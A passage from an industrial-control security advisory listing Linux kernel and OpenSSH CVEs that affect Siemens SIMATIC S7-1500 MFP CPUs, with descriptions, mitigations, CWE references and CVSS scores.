<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40105">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40135</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: use RCU in ip6_xmit() Use RCU in ip6_xmit() in order to use dst_dev_rcu() to prevent possible UAF.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40149</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tls: Use __sk_dst_get() and dst_dev_rcu() in get_netdev_for_sock(). get_netdev_for_sock() is called during setsockopt(), so not under RCU. Using sk_dst_get(sk)-&gt;dev could trigger UAF. Let's use __sk_dst_get() and dst_dev_rcu(). Note that the only -&gt;ndo_sk_get_lower_dev() user is bond_sk_get_lower_dev(), which uses RCU.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40149">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40219</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: PCI/IOV: Fix race between SR-IOV enable/disable and hotplug Commit 05703271c3cd ("PCI/IOV: Add PCI rescan-remove locking when enabling/disabling SR-IOV") tried to fix a race between the VF removal inside sriov_del_vfs() and concurrent hot unplug by taking the PCI rescan/remove lock in sriov_del_vfs(). Similarly the PCI rescan/remove lock was also taken in sriov_add_vfs() to protect addition of VFs. This approach however causes deadlock on trying to remove PFs with SR-IOV enabled because PFs disable SR-IOV during removal and this removal happens under the PCI rescan/remove lock. So the original fix had to be reverted. Instead of taking the PCI rescan/remove lock in sriov_add_vfs() and sriov_del_vfs(), fix the race that occurs with SR-IOV enable and disable vs hotplug higher up in the callchain by taking the lock in sriov_numvfs_store() before calling into the driver's sriov_configure() callback.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40219">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40261</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nvme: nvme-fc: Ensure -&gt;ioerr_work is cancelled in nvme_fc_delete_ctrl() nvme_fc_delete_assocation() waits for pending I/O to complete before returning, and an error can cause -&gt;ioerr_work to be queued after cancel_work_sync() had been called. Move the call to cancel_work_sync() to be after nvme_fc_delete_association() to ensure -&gt;ioerr_work is not running when the nvme_fc_ctrl object is freed. Otherwise the following can occur: [ 1135.911754] list_del corruption, ff2d24c8093f31f8-&gt;next is NULL [ 1135.917705] ------------[ cut here ]------------ [ 1135.922336] kernel BUG at lib/list_debug.c:52! [ 1135.926784] Oops: invalid opcode: 0000 [#1] SMP NOPTI [ 1135.931851] CPU: 48 UID: 0 PID: 726 Comm: kworker/u449:23 Kdump: loaded Not tainted 6.12.0 #1 PREEMPT(voluntary) [ 1135.943490] Hardware name: Dell Inc. PowerEdge R660/0HGTK9, BIOS 2.5.4 01/16/2025 [ 1135.950969] Workqueue: 0x0 (nvme-wq) [ 1135.954673] RIP: 0010:__list_del_entry_valid_or_report.cold+0xf/0x6f [ 1135.961041] Code: c7 c7 98 68 72 94 e8 26 45 fe ff 0f 0b 48 c7 c7 70 68 72 94 e8 18 45 fe ff 0f 0b 48 89 fe 48 c7 c7 80 69 72 94 e8 07 45 fe ff &lt;0f&gt; 0b 48 89 d1 48 c7 c7 a0 6a 72 94 48 89 c2 e8 f3 44 fe ff 0f 0b [ 1135.979788] RSP: 0018:ff579b19482d3e50 EFLAGS: 00010046 [ 1135.985015] RAX: 0000000000000033 RBX: ff2d24c8093f31f0 RCX: 0000000000000000 [ 1135.992148] RDX: 0000000000000000 RSI: ff2d24d6bfa1d0c0 RDI: ff2d24d6bfa1d0c0 [ 1135.999278] RBP: ff2d24c8093f31f8 R08: 0000000000000000 R09: ffffffff951e2b08 [ 1136.006413] R10: ffffffff95122ac8 R11: 0000000000000003 R12: ff2d24c78697c100 [ 1136.013546] R13: fffffffffffffff8 R14: 0000000000000000 R15: ff2d24c78697c0c0 [ 1136.020677] FS: 0000000000000000(0000) GS:ff2d24d6bfa00000(0000) knlGS:0000000000000000 [ 1136.028765] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1136.034510] CR2: 00007fd207f90b80 CR3: 000000163ea22003 CR4: 0000000000f73ef0 [ 1136.041641] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1136.048776] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400 [ 1136.055910] PKRU: 55555554 [ 1136.058623] Call Trace: [ 1136.061074] [ 1136.063179] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.067540] ? show_trace_log_lvl+0x1b0/0x2f0 [ 1136.071898] ? move_linked_works+0x4a/0xa0 [ 1136.075998] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.081744] ? __die_body.cold+0x8/0x12 [ 1136.085584] ? die+0x2e/0x50 [ 1136.088469] ? do_trap+0xca/0x110 [ 1136.091789] ? do_error_trap+0x65/0x80 [ 1136.095543] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.101289] ? exc_invalid_op+0x50/0x70 [ 1136.105127] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.110874] ? asm_exc_invalid_op+0x1a/0x20 [ 1136.115059] ? __list_del_entry_valid_or_report.cold+0xf/0x6f [ 1136.120806] move_linked_works+0x4a/0xa0 [ 1136.124733] worker_thread+0x216/0x3a0 [ 1136.128485] ? __pfx_worker_thread+0x10/0x10 [ 1136.132758] kthread+0xfa/0x240 [ 1136.135904] ? __pfx_kthread+0x10/0x10 [ 1136.139657] ret_from_fork+0x31/0x50 [ 1136.143236] ? __pfx_kthread+0x10/0x10 [ 1136.146988] ret_from_fork_asm+0x1a/0x30 [ 1136.150915]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40261">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1341.html">CWE-1341 Multiple Releases of Same Resource or Handle</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40300</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40300">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/402.html">CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-61984</a></h3>
<div class="csaf-accordion-content">
<p>ssh in OpenSSH before 10.1 allows control characters in usernames that originate from certain possibly untrusted sources, potentially leading to code execution when a ProxyCommand is used. The untrusted sources are the command line and %-sequence expansion of a configuration file. (A configuration file that provides a complete literal username is not categorized as an untrusted source.)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-61984">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/159.html">CWE-159 Improper Handling of Invalid Use of Special Elements</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.6</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-61985</a></h3>
<div class="csaf-accordion-content">
<p>ssh in OpenSSH before 10.1 allows the '\0' character in an ssh:// URI, potentially leading to code execution when a ProxyCommand is used.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-61985">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158 Improper Neutralization of Null Byte or NUL Character</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.6</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68206</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_ct: add seqadj extension for natted connections Sequence adjustment may be required for FTP traffic with PASV/EPSV modes. due to need to re-write packet payload (IP, port) on the ftp control connection. This can require changes to the TCP length and expected seq / ack_seq. The easiest way to reproduce this issue is with PASV mode. Example ruleset: table inet ftp_nat { ct helper ftp_helper { type "ftp" protocol tcp l3proto inet } chain prerouting { type filter hook prerouting priority 0; policy accept; tcp dport 21 ct state new ct helper set "ftp_helper" } } table ip nat { chain prerouting { type nat hook prerouting priority -100; policy accept; tcp dport 21 dnat ip prefix to ip daddr map { 192.168.100.1 : 192.168.13.2/32 } } chain postrouting { type nat hook postrouting priority 100 ; policy accept; tcp sport 21 snat ip prefix to ip saddr map { 192.168.13.2 : 192.168.100.1/32 } } } Note that the ftp helper gets assigned *after* the dnat setup. The inverse (nat after helper assign) is handled by an existing check in nf_nat_setup_info() and will not show the problem. Topoloy: +-------------------+ +----------------------------------+ | FTP: 192.168.13.2 | &lt;-&gt; | NAT: 192.168.13.3, 192.168.100.1 | +-------------------+ +----------------------------------+ | +-----------------------+ | Client: 192.168.100.2 | +-----------------------+ ftp nat changes do not work as expected in this case: Connected to 192.168.100.1. [..] ftp&gt; epsv EPSV/EPRT on IPv4 off. ftp&gt; ls 227 Entering passive mode (192,168,100,1,209,129). 421 Service not available, remote server has closed connection. Kernel logs: Missing nfct_seqadj_ext_add() setup call WARNING: CPU: 1 PID: 0 at net/netfilter/nf_conntrack_seqadj.c:41 [..] __nf_nat_mangle_tcp_packet+0x100/0x160 [nf_nat] nf_nat_ftp+0x142/0x280 [nf_nat_ftp] help+0x4d1/0x880 [nf_conntrack_ftp] nf_confirm+0x122/0x2e0 [nf_conntrack] nf_hook_slow+0x3c/0xb0 .. Fix this by adding the required extension when a conntrack helper is assigned to a connection that has a nat binding.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68206">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/166.html">CWE-166 Improper Handling of Missing Special Element</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68261</a></h3>
<div class="csaf-accordion-content">
